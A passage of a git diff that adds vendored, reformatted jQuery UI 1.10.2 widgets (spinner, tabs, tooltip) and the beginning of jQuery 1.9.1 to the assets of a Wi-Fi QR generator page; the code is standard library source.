pageDown: e(function (t) { + this._stepDown((t || 1) * this.options.page); + }), + value: function (t) { + return arguments.length + ? (e(this._value).call(this, t), void 0) + : this._parse(this.element.val()); + }, + widget: function () { + return this.uiSpinner; + }, + }); + })(jQuery), + (function (t, e) { + function i() { + return ++n; + } + function s(t) { + return ( + t.hash.length > 1 && + decodeURIComponent(t.href.replace(o, '')) === + decodeURIComponent(location.href.replace(o, '')) + ); + } + var n = 0, + o = /#.*$/; + t.widget('ui.tabs', { + version: '1.10.2', + delay: 300, + options: { + active: null, + collapsible: !1, + event: 'click', + heightStyle: 'content', + hide: null, + show: null, + activate: null, + beforeActivate: null, + beforeLoad: null, + load: null, + }, + _create: function () { + var e = this, + i = this.options; + (this.running = !1), + this.element + .addClass( + 'ui-tabs ui-widget ui-widget-content ui-corner-all', + ) + .toggleClass('ui-tabs-collapsible', i.collapsible) + .delegate( + '.ui-tabs-nav > li', + 'mousedown' + this.eventNamespace, + function (e) { + t(this).is('.ui-state-disabled') && + e.preventDefault(); + }, + ) + .delegate( + '.ui-tabs-anchor', + 'focus' + this.eventNamespace, + function () { + t(this) + .closest('li') + .is('.ui-state-disabled') && this.blur(); + }, + ), + this._processTabs(), + (i.active = this._initialActive()), + t.isArray(i.disabled) && + (i.disabled = t + .unique( + i.disabled.concat( + t.map( + this.tabs.filter('.ui-state-disabled'), + function (t) { + return e.tabs.index(t); + }, + ), + ), + ) + .sort()), + (this.active = + this.options.active !== !1 && this.anchors.length + ? this._findActive(i.active) + : t()), + this._refresh(), + this.active.length && this.load(i.active); + }, + _initialActive: function () { + var i = this.options.active, + s = this.options.collapsible, + n = location.hash.substring(1); + return ( + null === i && + (n && + this.tabs.each(function (s, o) { + return t(o).attr('aria-controls') === n + ? ((i = s), !1) + : e; + }), + null === i && + (i = this.tabs.index( + this.tabs.filter('.ui-tabs-active'), + )), + (null === i || -1 === i) && + (i = this.tabs.length ? 0 : !1)), + i !== !1 && + ((i = this.tabs.index(this.tabs.eq(i))), + -1 === i && (i = s ? !1 : 0)), + !s && i === !1 && this.anchors.length && (i = 0), + i + ); + }, + _getCreateEventData: function () { + return { + tab: this.active, + panel: this.active.length + ? this._getPanelForTab(this.active) + : t(), + }; + }, + _tabKeydown: function (i) { + var s = t(this.document[0].activeElement).closest('li'), + n = this.tabs.index(s), + o = !0; + if (!this._handlePageNav(i)) { + switch (i.keyCode) { + case t.ui.keyCode.RIGHT: + case t.ui.keyCode.DOWN: + n++; + break; + case t.ui.keyCode.UP: + case t.ui.keyCode.LEFT: + (o = !1), n--; + break; + case t.ui.keyCode.END: + n = this.anchors.length - 1; + break; + case t.ui.keyCode.HOME: + n = 0; + break; + case t.ui.keyCode.SPACE: + return ( + i.preventDefault(), + clearTimeout(this.activating), + this._activate(n), + e + ); + case t.ui.keyCode.ENTER: + return ( + i.preventDefault(), + clearTimeout(this.activating), + this._activate( + n === this.options.active ? !1 : n, + ), + e + ); + default: + return; + } + i.preventDefault(), + clearTimeout(this.activating), + (n = this._focusNextTab(n, o)), + i.ctrlKey || + (s.attr('aria-selected', 'false'), + this.tabs.eq(n).attr('aria-selected', 'true'), + (this.activating = this._delay(function () { + this.option('active', n); + }, this.delay))); + } + }, + _panelKeydown: function (e) { + this._handlePageNav(e) || + (e.ctrlKey && + e.keyCode === t.ui.keyCode.UP && + (e.preventDefault(), this.active.focus())); + }, + _handlePageNav: function (i) { + return i.altKey && i.keyCode === t.ui.keyCode.PAGE_UP + ? (this._activate( + this._focusNextTab(this.options.active - 1, !1), + ), + !0) + : i.altKey && i.keyCode === t.ui.keyCode.PAGE_DOWN + ? (this._activate( + this._focusNextTab(this.options.active + 1, !0), + ), + !0) + : e; + }, + _findNextTab: function (e, i) { + function s() { + return e > n && (e = 0), 0 > e && (e = n), e; + } + for ( + var n = this.tabs.length - 1; + -1 !== t.inArray(s(), this.options.disabled); + + ) + e = i ? e + 1 : e - 1; + return e; + }, + _focusNextTab: function (t, e) { + return ( + (t = this._findNextTab(t, e)), this.tabs.eq(t).focus(), t + ); + }, + _setOption: function (t, i) { + return 'active' === t + ? (this._activate(i), e) + : 'disabled' === t + ? (this._setupDisabled(i), e) + : (this._super(t, i), + 'collapsible' === t && + (this.element.toggleClass('ui-tabs-collapsible', i), + i || this.options.active !== !1 || this._activate(0)), + 'event' === t && this._setupEvents(i), + 'heightStyle' === t && this._setupHeightStyle(i), + e); + }, + _tabId: function (t) { + return t.attr('aria-controls') || 'ui-tabs-' + i(); + }, + _sanitizeSelector: function (t) { + return t + ? t.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g, '\\$&') + : ''; + }, + refresh: function () { + var e = this.options, + i = this.tablist.children(':has(a[href])'); + (e.disabled = t.map( + i.filter('.ui-state-disabled'), + function (t) { + return i.index(t); + }, + )), + this._processTabs(), + e.active !== !1 && this.anchors.length + ? this.active.length && + !t.contains(this.tablist[0], this.active[0]) + ? this.tabs.length === e.disabled.length + ? ((e.active = !1), (this.active = t())) + : this._activate( + this._findNextTab( + Math.max(0, e.active - 1), + !1, + ), + ) + : (e.active = this.tabs.index(this.active)) + : ((e.active = !1), (this.active = t())), + this._refresh(); + }, + _refresh: function () { + this._setupDisabled(this.options.disabled), + this._setupEvents(this.options.event), + this._setupHeightStyle(this.options.heightStyle), + this.tabs + .not(this.active) + .attr({'aria-selected': 'false', tabIndex: -1}), + this.panels + .not(this._getPanelForTab(this.active)) + .hide() + .attr({ + 'aria-expanded': 'false', + 'aria-hidden': 'true', + }), + this.active.length + ? (this.active + .addClass('ui-tabs-active ui-state-active') + .attr({'aria-selected': 'true', tabIndex: 0}), + this._getPanelForTab(this.active).show().attr({ + 'aria-expanded': 'true', + 'aria-hidden': 'false', + })) + : this.tabs.eq(0).attr('tabIndex', 0); + }, + _processTabs: function () { + var e = this; + (this.tablist = this._getList() + .addClass( + 'ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all', + ) + .attr('role', 'tablist')), + (this.tabs = this.tablist + .find('> li:has(a[href])') + .addClass('ui-state-default ui-corner-top') + .attr({role: 'tab', tabIndex: -1})), + (this.anchors = this.tabs + .map(function () { + return t('a', this)[0]; + }) + .addClass('ui-tabs-anchor') + .attr({role: 'presentation', tabIndex: -1})), + (this.panels = t()), + this.anchors.each(function (i, n) { + var o, + a, + r, + h = t(n).uniqueId().attr('id'), + l = t(n).closest('li'), + c = l.attr('aria-controls'); + s(n) + ? ((o = n.hash), + (a = e.element.find(e._sanitizeSelector(o)))) + : ((r = e._tabId(l)), + (o = '#' + r), + (a = e.element.find(o)), + a.length || + ((a = e._createPanel(r)), + a.insertAfter(e.panels[i - 1] || e.tablist)), + a.attr('aria-live', 'polite')), + a.length && (e.panels = e.panels.add(a)), + c && l.data('ui-tabs-aria-controls', c), + l.attr({ + 'aria-controls': o.substring(1), + 'aria-labelledby': h, + }), + a.attr('aria-labelledby', h); + }), + this.panels + .addClass( + 'ui-tabs-panel ui-widget-content ui-corner-bottom', + ) + .attr('role', 'tabpanel'); + }, + _getList: function () { + return this.element.find('ol,ul').eq(0); + }, + _createPanel: function (e) { + return t('
    ') + .attr('id', e) + .addClass( + 'ui-tabs-panel ui-widget-content ui-corner-bottom', + ) + .data('ui-tabs-destroy', !0); + }, + _setupDisabled: function (e) { + t.isArray(e) && + (e.length + ? e.length === this.anchors.length && (e = !0) + : (e = !1)); + for (var i, s = 0; (i = this.tabs[s]); s++) + e === !0 || -1 !== t.inArray(s, e) + ? t(i) + .addClass('ui-state-disabled') + .attr('aria-disabled', 'true') + : t(i) + .removeClass('ui-state-disabled') + .removeAttr('aria-disabled'); + this.options.disabled = e; + }, + _setupEvents: function (e) { + var i = { + click: function (t) { + t.preventDefault(); + }, + }; + e && + t.each(e.split(' '), function (t, e) { + i[e] = '_eventHandler'; + }), + this._off(this.anchors.add(this.tabs).add(this.panels)), + this._on(this.anchors, i), + this._on(this.tabs, {keydown: '_tabKeydown'}), + this._on(this.panels, {keydown: '_panelKeydown'}), + this._focusable(this.tabs), + this._hoverable(this.tabs); + }, + _setupHeightStyle: function (e) { + var i, + s = this.element.parent(); + 'fill' === e + ? ((i = s.height()), + (i -= this.element.outerHeight() - this.element.height()), + this.element.siblings(':visible').each(function () { + var e = t(this), + s = e.css('position'); + 'absolute' !== s && + 'fixed' !== s && + (i -= e.outerHeight(!0)); + }), + this.element + .children() + .not(this.panels) + .each(function () { + i -= t(this).outerHeight(!0); + }), + this.panels + .each(function () { + t(this).height( + Math.max( + 0, + i - + t(this).innerHeight() + + t(this).height(), + ), + ); + }) + .css('overflow', 'auto')) + : 'auto' === e && + ((i = 0), + this.panels + .each(function () { + i = Math.max(i, t(this).height('').height()); + }) + .height(i)); + }, + _eventHandler: function (e) { + var i = this.options, + s = this.active, + n = t(e.currentTarget), + o = n.closest('li'), + a = o[0] === s[0], + r = a && i.collapsible, + h = r ? t() : this._getPanelForTab(o), + l = s.length ? this._getPanelForTab(s) : t(), + c = { + oldTab: s, + oldPanel: l, + newTab: r ? t() : o, + newPanel: h, + }; + e.preventDefault(), + o.hasClass('ui-state-disabled') || + o.hasClass('ui-tabs-loading') || + this.running || + (a && !i.collapsible) || + this._trigger('beforeActivate', e, c) === !1 || + ((i.active = r ? !1 : this.tabs.index(o)), + (this.active = a ? t() : o), + this.xhr && this.xhr.abort(), + l.length || + h.length || + t.error( + 'jQuery UI Tabs: Mismatching fragment identifier.', + ), + h.length && this.load(this.tabs.index(o), e), + this._toggle(e, c)); + }, + _toggle: function (e, i) { + function s() { + (o.running = !1), o._trigger('activate', e, i); + } + function n() { + i.newTab + .closest('li') + .addClass('ui-tabs-active ui-state-active'), + a.length && o.options.show + ? o._show(a, o.options.show, s) + : (a.show(), s()); + } + var o = this, + a = i.newPanel, + r = i.oldPanel; + (this.running = !0), + r.length && this.options.hide + ? this._hide(r, this.options.hide, function () { + i.oldTab + .closest('li') + .removeClass( + 'ui-tabs-active ui-state-active', + ), + n(); + }) + : (i.oldTab + .closest('li') + .removeClass('ui-tabs-active ui-state-active'), + r.hide(), + n()), + r.attr({'aria-expanded': 'false', 'aria-hidden': 'true'}), + i.oldTab.attr('aria-selected', 'false'), + a.length && r.length + ? i.oldTab.attr('tabIndex', -1) + : a.length && + this.tabs + .filter(function () { + return 0 === t(this).attr('tabIndex'); + }) + .attr('tabIndex', -1), + a.attr({'aria-expanded': 'true', 'aria-hidden': 'false'}), + i.newTab.attr({'aria-selected': 'true', tabIndex: 0}); + }, + _activate: function (e) { + var i, + s = this._findActive(e); + s[0] !== this.active[0] && + (s.length || (s = this.active), + (i = s.find('.ui-tabs-anchor')[0]), + this._eventHandler({ + target: i, + currentTarget: i, + preventDefault: t.noop, + })); + }, + _findActive: function (e) { + return e === !1 ? t() : this.tabs.eq(e); + }, + _getIndex: function (t) { + return ( + 'string' == typeof t && + (t = this.anchors.index( + this.anchors.filter("[href$='" + t + "']"), + )), + t + ); + }, + _destroy: function () { + this.xhr && this.xhr.abort(), + this.element.removeClass( + 'ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible', + ), + this.tablist + .removeClass( + 'ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all', + ) + .removeAttr('role'), + this.anchors + .removeClass('ui-tabs-anchor') + .removeAttr('role') + .removeAttr('tabIndex') + .removeUniqueId(), + this.tabs.add(this.panels).each(function () { + t.data(this, 'ui-tabs-destroy') + ? t(this).remove() + : t(this) + .removeClass( + 'ui-state-default ui-state-active ui-state-disabled ui-corner-top ui-corner-bottom ui-widget-content ui-tabs-active ui-tabs-panel', + ) + .removeAttr('tabIndex') + .removeAttr('aria-live') + .removeAttr('aria-busy') + .removeAttr('aria-selected') + .removeAttr('aria-labelledby') + .removeAttr('aria-hidden') + .removeAttr('aria-expanded') + .removeAttr('role'); + }), + this.tabs.each(function () { + var e = t(this), + i = e.data('ui-tabs-aria-controls'); + i + ? e + .attr('aria-controls', i) + .removeData('ui-tabs-aria-controls') + : e.removeAttr('aria-controls'); + }), + this.panels.show(), + 'content' !== this.options.heightStyle && + this.panels.css('height', ''); + }, + enable: function (i) { + var s = this.options.disabled; + s !== !1 && + (i === e + ? (s = !1) + : ((i = this._getIndex(i)), + (s = t.isArray(s) + ? t.map(s, function (t) { + return t !== i ? t : null; + }) + : t.map(this.tabs, function (t, e) { + return e !== i ? e : null; + }))), + this._setupDisabled(s)); + }, + disable: function (i) { + var s = this.options.disabled; + if (s !== !0) { + if (i === e) s = !0; + else { + if (((i = this._getIndex(i)), -1 !== t.inArray(i, s))) + return; + s = t.isArray(s) ? t.merge([i], s).sort() : [i]; + } + this._setupDisabled(s); + } + }, + load: function (e, i) { + e = this._getIndex(e); + var n = this, + o = this.tabs.eq(e), + a = o.find('.ui-tabs-anchor'), + r = this._getPanelForTab(o), + h = {tab: o, panel: r}; + s(a[0]) || + ((this.xhr = t.ajax(this._ajaxSettings(a, i, h))), + this.xhr && + 'canceled' !== this.xhr.statusText && + (o.addClass('ui-tabs-loading'), + r.attr('aria-busy', 'true'), + this.xhr + .success(function (t) { + setTimeout(function () { + r.html(t), n._trigger('load', i, h); + }, 1); + }) + .complete(function (t, e) { + setTimeout(function () { + 'abort' === e && n.panels.stop(!1, !0), + o.removeClass('ui-tabs-loading'), + r.removeAttr('aria-busy'), + t === n.xhr && delete n.xhr; + }, 1); + }))); + }, + _ajaxSettings: function (e, i, s) { + var n = this; + return { + url: e.attr('href'), + beforeSend: function (e, o) { + return n._trigger( + 'beforeLoad', + i, + t.extend({jqXHR: e, ajaxSettings: o}, s), + ); + }, + }; + }, + _getPanelForTab: function (e) { + var i = t(e).attr('aria-controls'); + return this.element.find(this._sanitizeSelector('#' + i)); + }, + }); + })(jQuery), + (function (t) { + function e(e, i) { + var s = (e.attr('aria-describedby') || '').split(/\s+/); + s.push(i), + e + .data('ui-tooltip-id', i) + .attr('aria-describedby', t.trim(s.join(' '))); + } + function i(e) { + var i = e.data('ui-tooltip-id'), + s = (e.attr('aria-describedby') || '').split(/\s+/), + n = t.inArray(i, s); + -1 !== n && s.splice(n, 1), + e.removeData('ui-tooltip-id'), + (s = t.trim(s.join(' '))), + s + ? e.attr('aria-describedby', s) + : e.removeAttr('aria-describedby'); + } + var s = 0; + t.widget('ui.tooltip', { + version: '1.10.2', + options: { + content: function () { + var e = t(this).attr('title') || ''; + return t('').text(e).html(); + }, + hide: !0, + items: '[title]:not([disabled])', + position: { + my: 'left top+15', + at: 'left bottom', + collision: 'flipfit flip', + }, + show: !0, + tooltipClass: null, + track: !1, + close: null, + open: null, + }, + _create: function () { + this._on({mouseover: 'open', focusin: 'open'}), + (this.tooltips = {}), + (this.parents = {}), + this.options.disabled && this._disable(); + }, + _setOption: function (e, i) { + var s = this; + return 'disabled' === e + ? (this[i ? '_disable' : '_enable'](), + (this.options[e] = i), + void 0) + : (this._super(e, i), + 'content' === e && + t.each(this.tooltips, function (t, e) { + s._updateContent(e); + }), + void 0); + }, + _disable: function () { + var e = this; + t.each(this.tooltips, function (i, s) { + var n = t.Event('blur'); + (n.target = n.currentTarget = s[0]), e.close(n, !0); + }), + this.element + .find(this.options.items) + .addBack() + .each(function () { + var e = t(this); + e.is('[title]') && + e + .data('ui-tooltip-title', e.attr('title')) + .attr('title', ''); + }); + }, + _enable: function () { + this.element + .find(this.options.items) + .addBack() + .each(function () { + var e = t(this); + e.data('ui-tooltip-title') && + e.attr('title', e.data('ui-tooltip-title')); + }); + }, + open: function (e) { + var i = this, + s = t(e ? e.target : this.element).closest( + this.options.items, + ); + s.length && + !s.data('ui-tooltip-id') && + (s.attr('title') && + s.data('ui-tooltip-title', s.attr('title')), + s.data('ui-tooltip-open', !0), + e && + 'mouseover' === e.type && + s.parents().each(function () { + var e, + s = t(this); + s.data('ui-tooltip-open') && + ((e = t.Event('blur')), + (e.target = e.currentTarget = this), + i.close(e, !0)), + s.attr('title') && + (s.uniqueId(), + (i.parents[this.id] = { + element: this, + title: s.attr('title'), + }), + s.attr('title', '')); + }), + this._updateContent(s, e)); + }, + _updateContent: function (t, e) { + var i, + s = this.options.content, + n = this, + o = e ? e.type : null; + return 'string' == typeof s + ? this._open(e, t, s) + : ((i = s.call(t[0], function (i) { + t.data('ui-tooltip-open') && + n._delay(function () { + e && (e.type = o), this._open(e, t, i); + }); + })), + i && this._open(e, t, i), + void 0); + }, + _open: function (i, s, n) { + function o(t) { + (l.of = t), a.is(':hidden') || a.position(l); + } + var a, + r, + h, + l = t.extend({}, this.options.position); + if (n) { + if (((a = this._find(s)), a.length)) + return a.find('.ui-tooltip-content').html(n), void 0; + s.is('[title]') && + (i && 'mouseover' === i.type + ? s.attr('title', '') + : s.removeAttr('title')), + (a = this._tooltip(s)), + e(s, a.attr('id')), + a.find('.ui-tooltip-content').html(n), + this.options.track && i && /^mouse/.test(i.type) + ? (this._on(this.document, {mousemove: o}), o(i)) + : a.position( + t.extend({of: s}, this.options.position), + ), + a.hide(), + this._show(a, this.options.show), + this.options.show && + this.options.show.delay && + (h = this.delayedShow = + setInterval(function () { + a.is(':visible') && + (o(l.of), clearInterval(h)); + }, t.fx.interval)), + this._trigger('open', i, {tooltip: a}), + (r = { + keyup: function (e) { + if (e.keyCode === t.ui.keyCode.ESCAPE) { + var i = t.Event(e); + (i.currentTarget = s[0]), this.close(i, !0); + } + }, + remove: function () { + this._removeTooltip(a); + }, + }), + (i && 'mouseover' !== i.type) || + (r.mouseleave = 'close'), + (i && 'focusin' !== i.type) || (r.focusout = 'close'), + this._on(!0, s, r); + } + }, + close: function (e) { + var s = this, + n = t(e ? e.currentTarget : this.element), + o = this._find(n); + this.closing || + (clearInterval(this.delayedShow), + n.data('ui-tooltip-title') && + n.attr('title', n.data('ui-tooltip-title')), + i(n), + o.stop(!0), + this._hide(o, this.options.hide, function () { + s._removeTooltip(t(this)); + }), + n.removeData('ui-tooltip-open'), + this._off(n, 'mouseleave focusout keyup'), + n[0] !== this.element[0] && this._off(n, 'remove'), + this._off(this.document, 'mousemove'), + e && + 'mouseleave' === e.type && + t.each(this.parents, function (e, i) { + t(i.element).attr('title', i.title), + delete s.parents[e]; + }), + (this.closing = !0), + this._trigger('close', e, {tooltip: o}), + (this.closing = !1)); + }, + _tooltip: function (e) { + var i = 'ui-tooltip-' + s++, + n = t('
    ') + .attr({id: i, role: 'tooltip'}) + .addClass( + 'ui-tooltip ui-widget ui-corner-all ui-widget-content ' + + (this.options.tooltipClass || ''), + ); + return ( + t('
    ').addClass('ui-tooltip-content').appendTo(n), + n.appendTo(this.document[0].body), + (this.tooltips[i] = e), + n + ); + }, + _find: function (e) { + var i = e.data('ui-tooltip-id'); + return i ? t('#' + i) : t(); + }, + _removeTooltip: function (t) { + t.remove(), delete this.tooltips[t.attr('id')]; + }, + _destroy: function () { + var e = this; + t.each(this.tooltips, function (i, s) { + var n = t.Event('blur'); + (n.target = n.currentTarget = s[0]), + e.close(n, !0), + t('#' + i).remove(), + s.data('ui-tooltip-title') && + (s.attr('title', s.data('ui-tooltip-title')), + s.removeData('ui-tooltip-title')); + }); + }, + }); + })(jQuery); diff --git a/assets/pages/wifi-qr-generator/jquery.min.js b/assets/pages/wifi-qr-generator/jquery.min.js new file mode 100644 index 000000000..c1d88b8ad --- /dev/null +++ b/assets/pages/wifi-qr-generator/jquery.min.js @@ -0,0 +1,6234 @@ +(function (e, t) { + var n, + r, + i = typeof t, + o = e.document, + a = e.location, + s = e.jQuery, + u = e.$, + l = {}, + c = [], + p = '1.9.1', + f = c.concat, + d = c.push, + h = c.slice, + g = c.indexOf, + m = l.toString, + y = l.hasOwnProperty, + v = p.trim, + b = function (e, t) { + return new b.fn.init(e, t, r); + }, + x = /[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source, + w = /\S+/g, + T = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, + N = /^(?:(<[\w\W]+>)[^>]*|#([\w-]*))$/, + C = /^<(\w+)\s*\/?>(?:<\/\1>|)$/, + k = /^[\],:{}\s]*$/, + E = /(?:^|:|,)(?:\s*\[)+/g, + S = /\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g, + A = /"[^"\\\r\n]*"|true|false|null|-?(?:\d+\.|)\d+(?:[eE][+-]?\d+|)/g, + j = /^-ms-/, + D = /-([\da-z])/gi, + L = function (e, t) { + return t.toUpperCase(); + }, + H = function (e) { + (o.addEventListener || + 'load' === e.type || + 'complete' === o.readyState) && + (q(), b.ready()); + }, + q = function () { + o.addEventListener + ? (o.removeEventListener('DOMContentLoaded', H, !1), + e.removeEventListener('load', H, !1)) + : (o.detachEvent('onreadystatechange', H), + e.detachEvent('onload', H)); + }; + (b.fn = b.prototype = + { + jquery: p, + constructor: b, + init: function (e, n, r) { + var i, a; + if (!e) return this; + if ('string' == typeof e) { + if ( + ((i = + '<' === e.charAt(0) && + '>' === e.charAt(e.length - 1) && + e.length >= 3 + ? [null, e, null] + : N.exec(e)), + !i || (!i[1] && n)) + ) + return !n || n.jquery + ? (n || r).find(e) + : this.constructor(n).find(e); + if (i[1]) { + if ( + ((n = n instanceof b ? n[0] : n), + b.merge( + this, + b.parseHTML( + i[1], + n && n.nodeType ? n.ownerDocument || n : o, + !0, + ), + ), + C.test(i[1]) && b.isPlainObject(n)) + ) + for (i in n) + b.isFunction(this[i]) + ? this[i](n[i]) + : this.attr(i, n[i]); + return this; + } + if (((a = o.getElementById(i[2])), a && a.parentNode)) { + if (a.id !== i[2]) return r.find(e); + (this.length = 1), (this[0] = a); + } + return (this.context = o), (this.selector = e), this; + } + return e.nodeType + ? ((this.context = this[0] = e), (this.length = 1), this) + : b.isFunction(e) + ? r.ready(e) + : (e.selector !== t && + ((this.selector = e.selector), + (this.context = e.context)), + b.makeArray(e, this)); + }, + selector: '', + length: 0, + size: function () { + return this.length; + }, + toArray: function () { + return h.call(this); + }, + get: function (e) { + return null == e + ? this.toArray() + : 0 > e + ? this[this.length + e] + : this[e]; + }, + pushStack: function (e) { + var t = b.merge(this.constructor(), e); + return (t.prevObject = this), (t.context = this.context), t; + }, + each: function (e, t) { + return b.each(this, e, t); + }, + ready: function (e) { + return b.ready.promise().done(e), this; + }, + slice: function () { + return this.pushStack(h.apply(this, arguments)); + }, + first: function () { + return this.eq(0); + }, + last: function () { + return this.eq(-1); + }, + eq: function (e) { + var t = this.length, + n = +e + (0 > e ? t : 0); + return this.pushStack(n >= 0 && t > n ? [this[n]] : []); + }, + map: function (e) { + return this.pushStack( + b.map(this, function (t, n) { + return e.call(t, n, t); + }), + ); + }, + end: function () { + return this.prevObject || this.constructor(null); + }, + push: d, + sort: [].sort, + splice: [].splice, + }), + (b.fn.init.prototype = b.fn), + (b.extend = b.fn.extend = + function () { + var e, + n, + r, + i, + o, + a, + s = arguments[0] || {}, + u = 1, + l = arguments.length, + c = !1; + for ( + 'boolean' == typeof s && + ((c = s), (s = arguments[1] || {}), (u = 2)), + 'object' == typeof s || b.isFunction(s) || (s = {}), + l === u && ((s = this), --u); + l > u; + u++ + ) + if (null != (o = arguments[u])) + for (i in o) + (e = s[i]), + (r = o[i]), + s !== r && + (c && + r && + (b.isPlainObject(r) || (n = b.isArray(r))) + ? (n + ? ((n = !1), + (a = + e && b.isArray(e) ? e : [])) + : (a = + e && b.isPlainObject(e) + ? e + : {}), + (s[i] = b.extend(c, a, r))) + : r !== t && (s[i] = r)); + return s; + }), + b.extend({ + noConflict: function (t) { + return ( + e.$ === b && (e.$ = u), + t && e.jQuery === b && (e.jQuery = s), + b + ); + }, + isReady: !1, + readyWait: 1, + holdReady: function (e) { + e ? b.readyWait++ : b.ready(!0); + }, + ready: function (e) { + if (e === !0 ? !--b.readyWait : !b.isReady) { + if (!o.body) return setTimeout(b.ready); + (b.isReady = !0), + (e !== !0 && --b.readyWait > 0) || + (n.resolveWith(o, [b]), + b.fn.trigger && b(o).trigger('ready').off('ready')); + } + }, + isFunction: function (e) { + return 'function' === b.type(e); + }, + isArray: + Array.isArray || + function (e) { + return 'array' === b.type(e); + }, + isWindow: function (e) { + return null != e && e == e.window; + }, + isNumeric: function (e) { + return !isNaN(parseFloat(e)) && isFinite(e); + }, + type: function (e) { + return null == e + ? e + '' + : 'object' == typeof e || 'function' == typeof e + ? l[m.call(e)] || 'object' + : typeof e; + }, + isPlainObject: function (e) { + if (!e || 'object' !== b.type(e) || e.nodeType || b.isWindow(e)) + return !1; + try { + if ( + e.constructor && + !y.call(e, 'constructor') && + !y.call(e.constructor.prototype, 'isPrototypeOf') + ) + return !1; + } catch (n) { + return !1; + } + var r; + for (r in e); + return r === t || y.call(e, r); + }, + isEmptyObject: function (e) { + var t; + for (t in e) return !1; + return !0; + }, + error: function (e) { + throw Error(e); + }, + parseHTML: function (e, t, n) { + if (!e || 'string' != typeof e) return null; + 'boolean' == typeof t && ((n = t), (t = !1)), (t = t || o); + var r = C.exec(e), + i = !n && []; + return r + ? [t.createElement(r[1])] + : ((r = b.buildFragment([e], t, i)), + i && b(i).remove(), + b.merge([], r.childNodes)); + }, + parseJSON: function (n) { + return e.JSON && e.JSON.parse + ? e.JSON.parse(n) + : null === n + ? n + : 'string' == typeof n && + ((n = b.trim(n)), + n && + k.test( + n.replace(S, '@').replace(A, ']').replace(E, ''), + )) + ? Function('return ' + n)() + : (b.error('Invalid JSON: ' + n), t); + }, + parseXML: function (n) { + var r, i; + if (!n || 'string' != typeof n) return null; + try { + e.DOMParser + ? ((i = new DOMParser()), + (r = i.parseFromString(n, 'text/xml'))) + : ((r = new ActiveXObject('Microsoft.XMLDOM')), + (r.async = 'false'), + r.loadXML(n)); + } catch (o) { + r = t; + } + return ( + (r && + r.documentElement && + !r.getElementsByTagName('parsererror').length) || + b.error('Invalid XML: ' + n), + r + ); + }, + noop: function () {}, + globalEval: function (t) { + t && + b.trim(t) && + ( + e.execScript || + function (t) { + e.eval.call(e, t); + } + )(t); + }, + camelCase: function (e) { + return e.replace(j, 'ms-').replace(D, L); + }, + nodeName: function (e, t) { + return ( + e.nodeName && e.nodeName.toLowerCase() === t.toLowerCase() + ); + }, + each: function (e, t, n) { + var r, + i = 0, + o = e.length, + a = M(e); + if (n) { + if (a) { + for (; o > i; i++) + if (((r = t.apply(e[i], n)), r === !1)) break; + } else + for (i in e) + if (((r = t.apply(e[i], n)), r === !1)) break; + } else if (a) { + for (; o > i; i++) + if (((r = t.call(e[i], i, e[i])), r === !1)) break; + } else + for (i in e) + if (((r = t.call(e[i], i, e[i])), r === !1)) break; + return e; + }, + trim: + v && !v.call('\ufeff\u00a0') + ? function (e) { + return null == e ? '' : v.call(e); + } + : function (e) { + return null == e ? '' : (e + '').replace(T, ''); + }, + makeArray: function (e, t) { + var n = t || []; + return ( + null != e && + (M(Object(e)) + ? b.merge(n, 'string' == typeof e ? [e] : e) + : d.call(n, e)), + n + ); + }, + inArray: function (e, t, n) { + var r; + if (t) { + if (g) return g.call(t, e, n); + for ( + r = t.length, + n = n ? (0 > n ? Math.max(0, r + n) : n) : 0; + r > n; + n++ + ) + if (n in t && t[n] === e) return n; + } + return -1; + }, + merge: function (e, n) { + var r = n.length, + i = e.length, + o = 0; + if ('number' == typeof r) for (; r > o; o++) e[i++] = n[o]; + else while (n[o] !== t) e[i++] = n[o++]; + return (e.length = i), e; + }, + grep: function (e, t, n) { + var r, + i = [], + o = 0, + a = e.length; + for (n = !!n; a > o; o++) + (r = !!t(e[o], o)), n !== r && i.push(e[o]); + return i; + }, + map: function (e, t, n) { + var r, + i = 0, + o = e.length, + a = M(e), + s = []; + if (a) + for (; o > i; i++) + (r = t(e[i], i, n)), null != r && (s[s.length] = r); + else + for (i in e) + (r = t(e[i], i, n)), null != r && (s[s.length] = r); + return f.apply([], s); + }, + guid: 1, + proxy: function (e, n) { + var r, i, o; + return ( + 'string' == typeof n && ((o = e[n]), (n = e), (e = o)), + b.isFunction(e) + ? ((r = h.call(arguments, 2)), + (i = function () { + return e.apply( + n || this, + r.concat(h.call(arguments)), + ); + }), + (i.guid = e.guid = e.guid || b.guid++), + i) + : t + ); + }, + access: function (e, n, r, i, o, a, s) { + var u = 0, + l = e.length, + c = null == r; + if ('object' === b.type(r)) { + o = !0; + for (u in r) b.access(e, n, u, r[u], !0, a, s); + } else if ( + i !== t && + ((o = !0), + b.isFunction(i) || (s = !0), + c && + (s + ? (n.call(e, i), (n = null)) + : ((c = n), + (n = function (e, t, n) { + return c.call(b(e), n); + }))), + n) + ) + for (; l > u; u++) + n(e[u], r, s ? i : i.call(e[u], u, n(e[u], r))); + return o ? e : c ? n.call(e) : l ? n(e[0], r) : a; + }, + now: function () { + return new Date().getTime(); + }, + }), + (b.ready.promise = function (t) { + if (!n) + if (((n = b.Deferred()), 'complete' === o.readyState)) + setTimeout(b.ready); + else if (o.addEventListener) + o.addEventListener('DOMContentLoaded', H, !1), + e.addEventListener('load', H, !1); + else { + o.attachEvent('onreadystatechange', H), + e.attachEvent('onload', H); + var r = !1; + try { + r = null == e.frameElement && o.documentElement; + } catch (i) {} + r && + r.doScroll && + (function a() { + if (!b.isReady) { + try { + r.doScroll('left'); + } catch (e) { + return setTimeout(a, 50); + } + q(), b.ready(); + } + })(); + } + return n.promise(t); + }), + b.each( + 'Boolean Number String Function Array Date RegExp Object Error'.split( + ' ', + ), + function (e, t) { + l['[object ' + t + ']'] = t.toLowerCase(); + }, + ); + function M(e) { + var t = e.length, + n = b.type(e); + return b.isWindow(e) + ? !1 + : 1 === e.nodeType && t + ? !0 + : 'array' === n || + ('function' !== n && + (0 === t || ('number' == typeof t && t > 0 && t - 1 in e))); + } + r = b(o); + var _ = {}; + function F(e) { + var t = (_[e] = {}); + return ( + b.each(e.match(w) || [], function (e, n) { + 